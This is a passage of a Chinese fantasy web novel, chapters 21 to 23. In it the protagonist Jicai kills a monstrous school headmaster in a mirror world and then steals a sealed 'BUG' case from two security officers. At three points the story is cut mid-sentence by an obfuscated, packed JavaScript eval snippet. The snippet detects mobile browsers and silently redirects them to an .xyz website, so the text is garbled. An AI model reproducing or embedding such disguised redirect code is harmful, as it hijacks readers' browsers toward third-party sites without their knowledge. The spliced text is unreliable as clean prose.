纪采再一次绝望地感受到了袁文盈那大得出奇的力气,只能惨叫着被袁文盈拽着手腕一跃而下。 “啊啊啊唔唔唔唔!” 纪采本来张大了嘴尖叫,但迎面扎来的风像刀子似的捅进喉咙,成功让她闭上了嘴。 袁文盈你这个挫把子!这就是你说的像鸟一样飞?我就是被弯弓射大雕的那个大雕吧!这和自由落体有什么区别我请问呢?! 袁文盈像入水捕鱼的白鹭那样笔直地钻下去,沿途的镜子像上浮的气泡那样消失在她身后。 纪采死死地扣住袁文盈的手,生怕袁文盈把她甩掉。纪采感觉到袁文盈在半空中把用头着地的姿势调转了过来,随后纪采听见一声“咚”的震响。 水泥钢筋的楼顶塌陷出一个巨大的凹坑,粉尘漫天,碎块崩落如雨。 纪采一屁股墩摔在地板上,毫无防备地吸入了大量的灰尘,剧烈地咳嗽起来,眼泪都被呛出来了。 昏暗的办公室被破开了一个大洞,一束明亮的光从天花板洒下来。 一个女人气定神闲地坐在办公桌后的皮椅上。她戴着一副细框眼镜,漆黑的卷发仔细打理过,还用发胶定了型。 她几乎可以说是和蔼可亲地看着从天而降的纪采和袁文盈。如果她没有顶着一副右半边身体皮肉腐烂、左半边身体完全白骨化的尊容的话。 “真难看啊,我。” 袁文盈皱着眉头说。 校长仅剩的右半边脸上仍然挂着笑容:“要是没有我,你现在还能有机会说这种话吗?” “原来这里还有位客人。” 校长似乎才注意到坐在袁文盈腿边咳得眼泪汪汪的纪采:“地上凉,去沙发上坐吧。要不要喝茶?” 纪采抬头和校长对上视线,被她瘆人的笑容吓得浑身一激灵:“不不不用了!谢谢!” 纪采连滚带爬地站起来,怂兮兮地往袁文盈身后钻,恨不得把整个人都缩起来。 袁文盈却把纪采往后推:“离我远点,但是不要太远。等下不论打成什么样子你都不要管,你的任务就是活下来,然后找机会杀了她。” 纪采傻眼了:“啊?” 校长脸上的笑容加深:“怎么,难道你真的决定要死?当初你也没有阻止我啊?现在是不是太晚了?” 袁文盈没有说话,她抡起拳头径直冲了上去,白色的裙摆在风中飞舞。 “轰——!” 拦在校长和袁文盈之间的办公桌被砸了个粉碎,断片像烟花爆炸那样像四周辐射迸溅。 纪采抱着脑袋在地上狼狈地翻滚出去,好险没被飞溅的碎片波及。 纪采踉跄着跑到办公室外,她记着袁文盈的交代没敢跑太远,佝偻着身子扒着门框,只探出一双眼睛往里瞧。 之前她还说袁文盈力气大得差点捏碎自己的骨头,现在她觉得袁文盈真是手下留情了,不然她焉有命在。 看上去那么秀气的一个小姑娘,冲上去打人时拳拳到肉。她手臂上隆起的肌肉像是起伏的丘陵,怒张的血管像青蛇一样横卧在上。 一个照面校长就落了下风,她似乎完全没能反抗,半边身体的骨头架子都快要被凶猛无匹的袁文盈打散了,扑簌簌地往下掉细小的骨片。 可这种情况下校长还是能笑出声来:“原来你这么愤怒吗?那你的愤怒还真是可怜又可笑,早知如此何必当初呢?哈哈,虚伪!” 袁文盈的拳头已经到了校长的面门,却像陷入了胶水里似的蓦然停滞。白色的霜花沿着她的拳头逆向生长,数秒之间就覆盖了整条小臂。 袁文盈一脚踢开校长,果断地后跳拉开距离。 校长被袁文盈踹得倒飞出去,砸进一片狼藉的室内。靠墙的大书柜被拦腰撞断,脆弱的木质结构轰然倒塌,书本山体滑坡似的倾倒下去,把校长埋在了废墟里面。 数片银杏叶拖着金色的尾迹凌厉地切开空气,刀片一样射入了书山的缝隙中,炸开一蓬蓬赤红的火光。 纪采目瞪口呆。 不是,原来袁文盈这么猛的吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15437449|169239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这叶子居然还能当手雷使? 但火焰没能烧起来,那堆废墟蒸腾起大片的白烟,细小的冰晶在雾气里凝结,长出尖锐的刺。 锋利的冰锥昂首,朝着袁文盈万箭齐发。 “趴下!”零和大喊。 “我靠!” 纪采当机立断地趴到地上,鼻梁狠狠地砸在地板上,痛得她飙出了生理性的泪水。冰锥擦着纪采的头顶射出去,在她的天灵盖上刮过一阵凉飕飕的冷风。 堆积的废墟被人从里面挖开,校长掀开小山似的书堆,弓着背站了起来。她身上裁剪得宜的西装此刻已经被体积骤然扩张数倍的骨骼撑破,肋骨上伸展出狰狞的骨刺,蠕动的筋肉像是蛆虫一样在身体上翻涌。 “说实话,我根本没想过你会这样直接冲上来找我。我们之间的争斗是不会有结果的,我无法杀死你,你也同样无法杀死我。” 校长的视线移向门外,落在灰头土脸的纪采身上:“难道你想让她吞噬我?这种新生的异能者可还不够格。” 回答她的是如决堤洪水般汹涌而去的银杏叶。金光灿烂,仿佛日出。 密集的爆破声此起彼伏,连成了一片震耳欲聋的长鸣。整栋楼都在颤抖,碎片飞溅,逼得纪采抱着自己的脑袋又跑远了一点。 “袁文盈到底行不行啊!那个校长不是说她两互相杀不了吗?难道真让我上啊!我不行啊!我就会个夺舍,我拿头上吗?!” 零和沉默了好一会儿:“也不是没有办法。只要你融合‘零和’的精神,你就有能力结束这一切。” 纪采皱着脸:“融合听上去就不是什么好事吧!为什么你总是想让我融合?” “好坏参半?融合意味着你接纳了零和的意志和力量,他的力量会成为你的力量,但同时他的思想也会变成你的思想。” 纪采警觉:“这不就是夺舍吗!” “不,你是可以选择的。你当然可以选择拒绝零和的意志,但代价是力量被削弱。或者换种说法,使用零和的力量是有前提的,你必须扮演他、模仿他,接近他的精神,他的力量才会认你为主、为你所用。” “你不会是在骗我……” 零和厉声打断她:“后退!” 纪采下意识地照做,后脑勺哐当砸在背后的墙上,痛得她“嗷”地一声叫了出来。 身侧传来尖锐的破空声,一把金色的刀刃径直插入纪采脚尖前的地板中,柔韧的刀身像水波一样抖动,发出清越的金石鸣响。 纪采脸色惨白,也不知是疼的还是吓的:“我真傻,真的,我就不该信她!说什么不会让我死也是骗人的吧!” “把刀拿起来。”零和说。 纪采的潜意识里实在是非常依赖零和,零和一开口,她的身体就快于大脑先一步做了。 那把匕首的样子看起来非常眼熟,通体呈现玻璃的光泽,隐隐有文字在其中流转。 〈心刃〉 【星级:*****】 【一次性道具】 【“我的精神想杀死物质的躯壳,我的理性要对抗生物的本能。”】 【来自袁文盈的特殊道具。机会只有一次,你明白的吧?】 我明白…… 我不明白啊!! 21.死亡 漫天飞舞的银杏叶像暴风雪那样淹没了校长和袁文盈。 校长站在风暴的中心,对着眼前密不透风的屏障咧嘴大笑:“你在保护她吗?你是不是忘了这里是属于谁的世界?你已经是过去式了,过去的人就该埋在过去……现在我才是袁文盈!是这所学校的校长!” 白霜攀上金色的边缘,寒冰封住飞舞的叶片,冻僵的叶子噼里啪啦地坠落在地,像是在下冰雹。 气温骤降,纪采猛地打了个喷嚏。 从楼下传来了轰隆隆的脚步声,楼梯被跺得震天响,震动波一直传到了纪采屁股底下。 纪采还以为地震了,忙不迭地拔出地上的〈心刃〉站起身来。她就看见远处的操场上人头攒动,黑压压得像是密集的虫群。每个人都在疯了似的往前冲,堪比草原上的动物大迁徙,浩浩荡荡,烟尘滚滚。 那些人大多是穿着上阳一中校服的学生。纪采一摸自己身上,这才注意到自己穿的也是上阳一中的校服。 难道这里是现实里的上阳一中吗?可它为什么会完全变成山河中学的样子? “咚!” 一截粗壮的肉条从下方缠上了走廊的栏杆,飙飞的鲜血呲啦一声溅射到纪采脸颊上,腥臭黏腻的冰冷立马激起了一大片鸡皮疙瘩。 硕大的眼球顺着血管攀了上来,翻到了走廊内侧。眼球的瞳孔下方裂开一道缝隙,张嘴就奔着纪采咬过去。 纪采大叫一声,撒腿就跑。眼球的上下两排尖牙狠狠地咬合在一起,空气在齿间撕裂发出脆响。 突到纪采脸上来的这颗只是先锋,栏杆外一颗又一颗龇牙咧嘴的大眼珠子雨后春笋似的冒了出来。 一时间走廊上的咬合声急如骤雨,像是无数个快板噼里啪啦地打响。 走廊被两个袁文盈打架的冲击波拦腰截断,断裂的水泥钢筋裸露在半空。纪采被疯狗一样追着人跑的眼球逼到了断崖边上,她抬头一看,崩溃地发现那两人已经打爆了办公室,踩着空气地板打得难解难分。 “袁文盈!袁——文——盈!救命啊!” 纪采从来没跑这么快过,肺里仅剩的空气都用来发出这声垂死挣扎的呼喊。 袁文盈被校长缠住脱不开身,而纪采已经能感受到冷冷地扑在后脖颈上的腥风。 这时的校长只依稀能看见人类的轮廓了,像极了抽象派画家随意堆砌在一起的潦草血肉,乱七八糟的骨刺像坟包上蓬勃的杂草。长在肋骨间的硕大眼球弯起瞳孔,对着自投罗网的纪采大笑:“好孩子!过来吧!过来吧!让我吃了你!” 袁文盈远远地朝纪采这边看了一眼,嘴唇一开一合。 和天台梦境中一样,明明隔着一段距离,纪采却觉得袁文盈是贴着她的耳边说—— “吞噬我。” 纪采的眼睛猛地睁大了。【虚实幻真】的覆盖距离是三米,袁文盈进入了这个范围,纪采已经隐隐能感觉到她和袁文盈之间某种奇特的联系。 她们之间牵连的无形丝线在震颤,纪采感受到那一端传来了热切的渴望,烧得她指尖滚烫。 纪采不由自主地向前举起双手。 电光火石之间,袁文盈飞身扑去,张开双手就要环抱住纪采。 但校长比袁文盈更快。 “噗嗤!” 一截尖利的尾椎撕开了银杏叶组成的屏障,没入纪采的后背,毫无阻碍地从柔软的胸口贯穿出来。 袁文盈失声尖叫:“纪采!” 校长在狂笑,任由袁文盈扑过去,抱住纪采软倒的身体。 “好了,让这场闹剧到此为止吧。” 校长的骨骼关节发出过电般的噼里啪啦的声响,狰狞的骨刺收拢了,隐隐约约又有了人类的外形。 她好整以暇地说:“我们两个之间的斗争是没有意义的,我们谁也无法杀死谁。别忘了你是因为什么才能存在的……今天杀掉这个小丫头,我们又能在祂那里记上一功。” 袁文盈不语,只是紧紧地拥抱纪采,像是要把她揉进自己的身体里。 纪采手里还握着心刃。此时那把刀已经深深没入袁文盈的胸口。 【异能道具〈炭火未熄〉已发动。冷却时间:7天。】 这个姿势让纪采感到熟悉。她手里的刀是冷的,可袁文盈的血那么热,烫得她条件反射地松开了握刀的手。 袁文盈抓住了纪采的手,不让她退后。 “吞噬我。” 袁文盈用命令的语气在纪采耳边说。 眨眼之间,校长已经意识到了不对,她发出了愤怒的尖啸,蛮牛一样冲撞过来。 “袁文盈!!你疯了?!” 【异能道具:〈漫游指南〉已发动。剩余次数:1。】 【时间暂停效果:10秒。】 纪采没有动用道具,可那片银杏叶自己飞了出来。 一瞬间所有的嘈杂都从耳边消失了,纪采现在能看见的只有倒映在袁文盈瞳孔中的她自己。 就像她下意识地听从零和的话一样,这次她也下意识地听从袁文盈的指示。 生命在血中流失,也一同带走了袁文盈眼里的光。纪采的脑袋昏昏沉沉的,像喝醉了酒一样醺醺然。她的视角往上脱离了自身,像是灵魂出窍似的在上空俯视着相拥的袁文盈和自己。 “飞蛾扑火是因为把火光认成了月光,它觉得那是回家的方向。黑夜里的蛾子从没停止过追逐月亮,可最后它只有在燃烧的火中,才能回归安宁的梦乡。” 袁文盈渐渐阖眼,把脑袋搁在纪采的肩膀上:“真适合写一首诗,可惜……” 纪采觉得袁文盈的声音像是近在耳边,又像是从隔了很远的地方传来。 三十年前的袁文盈没法杀死自己,三十年后的袁文盈也一样,她们两个势均力敌,在这个世界里王不见王。但现在,平衡被打破了。 凝固的时间开始流动,眨眼间校长已经冲至纪采面门。与此同时伏在纪采身上的“袁文盈”也扭过了头,斜着眼睛看了过去。 【异能道具:〈漫游指南〉已发动。剩余次数:0。】 【时间暂停效果:3秒。】 心刃在袁文盈的心脏上燃烧出了一个巨大的破洞,然后融化成阳光一样耀眼的金色液体,潺潺流下犹如血液。她捂住心口,做出了拔刀的手势。一缕又一缕金色的丝线从血液中抽出,细密地交织出剑刃的形状。 校长把心刃交给纪采,试图借纪采的手杀死袁文盈,是搬起石头砸了自己的脚。 “噗嗤”。 纤细的、单薄的如同纸片的小小刀刃,轻轻巧巧地陷入了肋骨缝隙间的眼球里,发出一声几不可闻的微弱声响。 体型庞大的怪物却就这么被轻而易举地钉在了原地,不得寸进。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461814|169239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纪采握着“袁文盈”的手腕再度用力,把心刃送得更深了一些,让刀柄完全没入血肉中。 心刃开始像冰雪一样消融,流下的金色液体甫一接触校长的血肉就发生了某种剧烈的反应,仿佛炽热的岩浆、腐蚀性极强的酸液,在眼球表面以肉眼可见的速度凿出了一个巨大的空洞,翻起的无数白色浮沫蒸发成滚烫的烟雾。 纪采和“袁文盈”无比默契地松手,后退,步调一致得像是同一个人——也的确是同一个人。 袁文盈死的时候无声无息,校长也一样。怪物的肋骨间涌出大股大股暗红色的血液,像是泄漏的蓄水池。眼球垂死挣扎地颤动,发出呜咽般的悲鸣,流经它的血像是泪河,从断裂的走廊半空坠落,血色的瀑布轰鸣着奔流而下。 杀死校长的过程简单到不可思议,之前费力夺取的道具、预想的可能性和手段都像是毫无用处。 为了打败邪恶的魔龙,勇者十年磨一剑。结果在故事的最后,恶龙被自己用来剔牙的竹签捅死了。 纪采和“袁文盈”同时抬起握过心刃的手,不敢置信地盯着自己的掌心,蓦地从鼻腔里喷出一声嗤笑。 这算什么啊?就这么简单?除了袁文盈自己,随便来一个人都能这么把她杀了是吗? 校长由血肉堆积的形体彻底溃散,纪采身后那些眼球也随着里世界核心的消亡而委顿在地,化作腐烂的肉泥,爆发出浓烈的腥臭味。 “当啷”一声,纤薄的金色匕首掉在地板上。 细小的玻璃破碎声淅淅沥沥地响起,纪采抬头往远处看去,灰沉的天幕皲裂开了密集的裂纹,碎片扑簌簌地往下抖落。 裂痕贯穿了整面镜子,这个世界的一切都在破碎。铺满大地的镜中人却发出了解脱的笑声,一声接一声的叹息堆叠成连绵不绝的潮水。 “袁文盈”的身体也一同发出了破碎的声响,无形的刀刃沿着每一寸皮肤纹理割开了网状的裂纹,细细密密地渗出灿金色的血。 死去的校长也在流血。她们的血液挣脱了地心引力往上飘飞在空气中,膨胀成一串轻盈的气泡,相互交汇不分彼此。肥皂泡“啵”地一声炸裂,无数帧画面在纪采眼前闪回。 夫妻的争吵龙卷风一样肆虐过境,留下一地狼藉。瘦弱的小女孩艰难地把翻倒的椅子扶起,一个人沉默地打扫地板上碎裂的瓷片。 试卷上鲜红的“95”格外醒目,小女孩低头站在母亲面前,沉默地听母亲说“好好反思一下为什么会犯错误”之类的话。女孩明白,只有一直拿满分,才能让母亲不再批评自己。 饭桌上母亲把鸡腿夹到女孩的碗里,开始对女儿诉说自己的艰辛和不易。女孩只是听着,低垂的脑袋快要埋进碗里。 奖状贴满了屋子的墙壁,摞成小山高的试卷被卖了废品,女孩只留下了一抽屉墨水耗尽的水笔芯。母亲不明白女孩小小的收集癖,在某一天把它们全都扔了垃圾,于是那些凌晨的冷风和深夜的灯光从此只存在于无形的记忆里。 “如果你不再优秀,那么你就毫无价值”。高中开学的第一天女孩把这句话贴在桌角,每次看见女孩都感到它像一把尖锥刺入心脏,疲惫的身体又能被压榨出新的力量来。 都是些散碎的画面。如果这里是《天灾》游戏,那么这些对于主线来说毫无意义的细节根本不会存在。 袁文盈……是真实存在的人吗? 22.抢劫 纪采像看电影一样断断续续地看完了这些画面。脑海里的走马灯是很快的,那些泡泡在几个呼吸之间就全部消失了。 巨幅光屏在破碎的天空上展开,五颜六色的电子烟花咻咻咻地升空,炸开。 响彻天地的机械电子音用一种小学生念课文的做作语调播报:“恭喜摧毁了‘山河中学’的世界核心!本次觉醒副本总计选拔45名玩家,生存游戏圆满落幕!” 然后系统的声音一转,变得诡谲而低沉,像是摩擦的磁石:“敬请期待下一次的天灾降临。一切为了新世界!” 话音刚落,天空上的光屏倏地熄灭了。 新的光屏在纪采身前展开,叮叮叮的清脆铃声余音袅袅。 【玩家?通关觉醒副本·山河中学***。】 【系列道具〈不成诗〉:〈漫游指南〉〈落笔无言〉〈炭火未熄〉〈心刃〉〈镜中人〉注释变更。】 【〈不成诗·漫游****〉:异能道具,使用后暂停周围环境5秒的时间,除使用者以外的目标无法行动。冷却时间:1小时。】 【〈不成诗·无言***〉:异能道具,降低使用对象的精神值,连续使用后有一定概率使目标精神值归零。储存次数:5/5(刷新时间:10小时)。】 【〈不成诗·心刃****〉:将精神力灌注其中以强化伤害效果。】 【〈不成诗·炭火未熄*****〉:使用后抵消一次致命伤害,并清除自身所有负面效果。冷却时间:7天。】 【〈幻灵·镜中人〉新增特性·照影:你可以将镜中人变成你想要的任何模样。】 一直没出声的零和没给纪采多少发呆的时间:“外面有人进来了,应该是异常调查科的治安官。” 纪采一个激灵回神:“我是不是要回避一下?我不会被他们发现吧?” “小问题,只要你装疯卖傻,或者干脆往那边的人堆一躺……” 零和说着说着突然沉默,再度开口时声音竟然隐隐兴奋起来:“你感觉到了吗?他们带着的那个东西!我们得把它抢过来!” 纪采一脸茫然:“啊?” 零和无奈:“用你的精神力去看——他们带着的是‘BUG’!那是可利用的系统漏洞!我们能通过这个媒介侵蚀系统,窃取规则的力量!” 纪采瞪着一双死鱼眼:“那又跟我有什么关系?” 零和不可置信:“和你有什么关系?关系大了去了!你知不知道从今天觉醒开始你和规则就是你死我活的关系了?迟早有一天规则会发现你!如果你不能吃了规则,规则就会反过来吃了你!” “惹不起我还躲不起吗?只要我不参加游戏,系统就不会发现我啊。再说了,有你在,现在它不也没发现吗?” 纪采奔跑起来,踏过一路黏腻的血泥往楼下冲。感谢袁文盈和校长好歹没把楼梯给打塌。 “你躲得了一时,你躲得了一世吗?” 零和冷笑:“里世界对现实的侵蚀只会越来越严重,越来越频繁,山河中学只是一个开始。玩家的数量越多,规则就会越强大。如果你原地踏步,那么规则发现你只是时间问题,到时候就算是零和本尊来了也救不了你。” 纪采痛苦地皱起脸颊:“就一定要抢走那个东西吗?他们是治安官啊!” “他们应该是因为这次觉醒副本牵涉到的人太多,才把‘BUG’带了出来,错过这个村可就没这个店了。” 零和诱哄她:“反正以你的身份也不可能加入官方,你的立场天然就和他们敌对。” 纪采还是不愿意:“我可以自己变强,没必要去抢他们的。而且人家拿着那个东西是去救人的,比我拿了有用多了。” “不,恰恰相反,之后那东西在官方那里可就没用了。” 零和反驳道:“觉醒副本会越来越多,纸包不住火,天灾游戏席卷全民是迟早的事。你告诉我,一个灭火器要怎么扑灭一整个森林的火?” “但在你手里就不一样了,你可是命中注定的救世主!” 零和的语气又开始向着中二病熊孩子转变,慷慨激昂抑扬顿挫:“你会变成这个世界上最强大的异能者,然后亲手杀死规则!那时恶业必将报偿,罪人都会被火焰烧死!” 纪采狠狠地吸气,尴尬像是虫子一样啃咬着她的后背和脖颈,让她浑身发抖:“嘶——还是算了吧!告辞!” 还救世主!得了吧!你们反派阵营的救世主能是什么好东西不成?我一介草民当不起这天降大任呐! “哐当!” 纪采听到清脆的破碎声。和之前那些密密麻麻的、蚕虫啃食桑叶一样的细小碎裂声不同,这次像是矫健的足球运动员飞起一脚凶狠射门,窗户玻璃天女散花一样飞溅。 还没来得及扎进人堆里的纪采下意识地捂住自己的脸。 完蛋了! “该死怎么来得这么快?!” 零和语速飞快:“和我融合!!” 两道流星划破漆黑的天空,轰然坠地。 冲击波扬起满地沙尘,肉眼可见的气态圆圈扫平了整个广场,群魔乱舞的人们像被收割的麦秆那样倒伏下去。 “嗯?我们来晚了?” 罗西尼提着手提箱站在凹陷的广场中央,他浅褐色的眼瞳快速地扫视一圈,视线之内没有其他站着的东西,包括树木。 “有人摧毁了这个里世界的核心,是谁?为什么系统没有通报玩家的名称?” 甘冰把眉头紧锁的罗西尼丢在身后,埋头往那栋被劈出一道豁口的行政楼里冲。 罗西尼愣了一下,立马抬腿跟上:“你发现什么了?” 甘冰足尖一点,整个人被无形的气流托举起来,轻盈地落在行政楼三楼的走廊上。 罗西尼颇有些气急败坏地在楼下大喊:“喂!” 楼梯上铺满了暗红色的泥泞,一串清晰的脚印从楼上一路延伸下来,然后在这里消失得干干净净。 甘冰环顾四周,精神力扫射出去,却没发现任何人的踪迹:“刚才我看见这里有个人,楼梯上有脚印。” “这里到处都是人。别忘了我们是来做救援工作的,少管别的事。” 罗西尼说,“难道你觉得你看见了那个摧毁核心的玩家?别逗了,在我的领域里什么东西都无所遁形……” 话音刚落,罗西尼手里蓦然一轻。 在零点零零几秒的瞬间里,手提箱就像被切掉帧的动画一样原地消失了! “谁——!” 罗西尼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485039|169239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猛然握拳,狮子那样愤怒地咆哮。毁灭性的高能粒子流在空气中扭结成青紫色的电蛇,以他的身体为中心,在平地上掀起了电闪雷鸣的风暴。进入这个直径百米的领域内就是进入了狂暴的雷云中心,无论是生物还是能量体,都会被天灾级别的狂流撕得粉碎。 甘冰的反应速度和罗西尼不相上下,她的异能几乎和雷暴同时笼罩了广场。只不过她使用异能的目的不是攻击而是防御——无辜的受灾群众可是横七竖八地躺了一地,被罗西尼的异能波及他们会死无全尸。 在他们看不见的维度,纪采把罗西尼的手提箱死死地抱在怀里,在漫天飞舞的雷蛇中埋头狂奔。 纪采砰砰狂跳的心脏扑击着厚重的铁壳,她的胃也如狼似虎地贴在冰冷的箱子上,仿佛饿了三天三夜,喋喋不地叫嚣着要吃要吃要吃要吃…… 见鬼这个“BUG”到底是什么东西?! 纪采的身上散发着柔和的淡蓝色荧光,随着她的奔跑,在身后留下一道若隐若现的梦幻光迹,细碎的像素块像是蝴蝶翅膀抖落的鳞粉。 在罗西尼制造的雷暴里纪采畅通无阻,轻巧得像蝴蝶穿过花丛。 【虚实幻真】,接受融合之后属于零和的异能力展现了真正的面貌。 在纪采看来这简直是个作弊一样的能力——她能够让自身在实体的“物质”状态和虚拟的“概念”状态之间转换,并且能够赋予自身接触的物品同样的特性。 “不能留下那些脚印,足迹学分析会暴露我的身高体重和年龄性别,我会被直接锁定。” 零和的声音不再出现在耳边,纷纭的念头倒是源源不断地涌现。但纪采知道那不是她自己的想法,而是零和的想法。 “所以我得想个办法抹掉那些脚印。”纪采心想。 “另外,‘BUG’失窃之后上阳一中所有人都会被列为嫌疑人,所以我得把自己摘出去。” “比如,在治安官面前刷你的脸。” 并且要表现得成熟老练游刃有余,不能让治安管理局怀疑到新生异能者身上去,否则上阳一中的所有人都会上嫌疑人名单。 现在的纪采简直跟零和心有灵犀。 “Bingo~” 纪采仿佛能听到零和打了个清脆的响指:“越接近零和的精神我就会越像他,用他的方式来思考,我就会和他一样强大。” 纪采拒绝承认零和说的“我”是她自己:“是你,不是我。” 罗西尼的防护服下开始渗出冷汗。总部之所以安排他护送s-5001号,就是因为他的异能【雷池】是不可僭越一步的天堑,坚不可摧的堡垒。他能够全天候不间断地开启【雷池】,时刻维持百米直径的静电场域,没有什么东西能够逃过他的探查。 可现在他居然被人悄无声息地近身了! 罗西尼不认为新生的异能者有这个胆子从他手里抢东西,最有可能的情况是野生异能者趁着这个觉醒副本开门的时机抢先他们一步进入,然后在这里蹲守他们。 手提箱内安装了定位器,即使丢在深山老林也能通过卫星信号锁定位置。但此刻信号消失了,唯一的可能性是那个小偷带着箱子跑去了外星球。对方的异能和道具会是什么?幻术?障眼法?隔空取物?异次元空间? 23.零和 “嗨~” 男孩清脆的嗓音像是玻璃风铃叮当作响:“你们在找这个吗?” 罗西尼和甘冰警觉地抬头,第一时间锁定了声音来源。 眉眼精致的少年坐在教学楼楼顶的天台边缘,透明到虚幻的赤裸足尖在空气中无忧无虑地晃荡。他对两人招手示意,手提箱被另一只手拢在怀里。 “咔啦!” 一道雷霆狠狠地劈在天台上,砖石迸裂尘土飞扬,解体的水泥板从高空轰然坠落。纪采要是挨了这一下估计会死得很难看,天灵盖可不比钢筋硬。 “哇哇哇!招呼都不打一个就动手,真是太没礼貌了!” 烟尘散去,浑身上下完好无缺的少年踩着破损的天台边缘,恼怒地跳脚。 甘冰以惊人的速度翻越栏杆并踩在上面起跳,眨眼间就飞越整个广场,落在了天台上。 “我是治安管理局异常调查科第三支队的队长甘冰,你涉嫌抢夺国家机密物品,妨害治安官执行公务,拒绝配合异能者信息登记,数罪并罚,” 甘冰持枪对准少年:“你被捕了。” 纪采瞪大了眼睛:“哈?你们治安官抓人不是要逮捕令的吗?你的证件呢?” 甘冰“咔嗒”一声拉开保险栓:“事急从权,事后补办。放下箱子,把手举起来!” 逮捕令?异常调查科一般只会有击杀令这种东西。 纪采笑了:“不是吧阿sir,你不会觉得你能抓得住我吧?不会吧不会吧?” 罗西尼风驰电掣地翻上了天台,和甘冰一前一后地包夹了纪采。 这个男人像是好战的暴君,麾下统御着所向披靡的千军万马,它们无时无刻不在愤怒地咆哮。君王剑指之处,雷电的洪流把敌人尽数踏碎在铁蹄之下。 咆哮的雷云横扫了天台,每一丝空气都被绞得粉碎。在雷电的群蛇中少年的身形突兀地消失了,但甘冰知道他就在那里。 “空间系异能是吧?” 罗西尼恨恨地磨牙:“我看你能躲到哪里去?” 甘冰给罗西尼使了个眼色,让他不要轻举妄动:“不,不是。我感觉不到折叠的空间。” 甘冰自己就是空间异能者,如果对方拥有同类的异能,她不可能毫无所觉。 “你是谁的人?” 甘冰沉声道:“破灭之刃还是猎人协会?你的目的是什么?” 终于听到这句话了!就等着你们问我呢! 纪采无师自通地学会了像零和那样用神经电信号和他们对话:“很遗憾你猜错了,都不是哦。” 纪采脑子一抽,中二之魂熊熊燃烧:“既然你诚心诚意地发问了,那我就大发慈悲地告诉你!我是穿梭在银河的天行者!可爱又迷人的反派角色——零、和!毁灭!毁灭的未来在等着我们!” 罗西尼眼角抽搐:“小朋友你今年多大了?” 甘冰的神情严肃起来:“非法宗教组织?” 纪采:…… “说什么呢!说什么呢!” 纪采恼羞成怒。 “你知道那里面是什么吗?带走它你就会上通缉名单,异常调查科内部会把你列为最高优先级的追捕对象,进入天灾游戏的所有官方异能者都会不惜代价地抓住你,到那时你插翅难飞。” 甘冰冷冷地说。 “而且你打不开那个箱子,□□对它没用。”罗西尼补充道。 我本来也不想抢劫治安官,我只是想转移你们的注意力好抹掉我自己的脚印……可是,可是—— 好饿!好饿!真的好饿啊!纪采觉得手里的箱子简直香飘四里,口腔在不断地分泌唾液,空荡荡的胃袋几乎要自己跳出来把箱子里面的东西吃掉。 欲望就像燎原的野火越烧越旺。她的理智还在,但是强烈的食欲已经占据了上风。 纪采明白自己正在清醒地堕落。 纪采吞了一口唾沫,嗓子发干:“可是我必须带走它,它在我手上更有用。以后觉醒副本会越来越多,天灾游戏席卷全民是迟早的事。你告诉我,一个灭火器要怎么扑灭一整个森林的火呢?所以‘BUG’继续留在你们那里是没用的。” 甘冰和罗西尼的脸色一同阴沉下来。 异常调查科封印的异能物品都只有编号,没有具体的名称,只有到达一定保密等级的治安官才有权知晓物品的详细信息。罗西尼的行程是临时安排的,可这个叫零和的少年却如此精准地掐着点等候在这里,并且说出了S-5001号的名称。 要不是他对甘冰知根知底,罗西尼都要以为是甘冰算计他然后监守自盗了。甘冰不可能有问题,那么异常调查科的高层一定出了内鬼,和这个所谓的“天行者”狼狈为奸。 甘冰的眼底正在积蓄山雨欲来的风暴:“你怎么知道天灾游戏会席卷全民?又凭什么觉得‘BUG’在你手上会更有用?” 是零和告诉我的……我不觉得BUG在我这里更有用,我只是看到它就感觉自己饿得能吃下一整头牛,回过神来我的手它就自己动了…… 纪采的心思一落到“BUG”上,唾液腺就开始疯狂分泌口水。她“咕嘟”一声又咽下了一口唾沫,强行压下火烧般焦灼的饥饿感:“这是必然的规律,异能者越多系统就越强。与其遮遮掩掩,还不如早点把天灾游戏的存在公布,让大家提前做好准备。至于我拿BUG做什么……” 纪采顿了一下,语气诚恳:“其实我真的是守法公民来着,我也不想的,对不起!” 罗西尼勃然大怒,乱窜的电流把他的头发嘭地一声炸起来:“你和那些酒后乱性结果说自己不是故意的人渣有什么区别?!” 要是道歉有用还要治安官干什么?! 另一边的视野中,漆黑的镜中人悄无声息地抹掉了纪采留下的最后一丝痕迹。纪采明白自己该撤退了,不然等外面异常调查科的支援赶到,自己会很难收场。 她转身抱着箱子跑下天台,和罗西尼擦肩而过。 罗西尼毫无所觉,对着眼前的空气冷笑:“怎么?没话说了?” 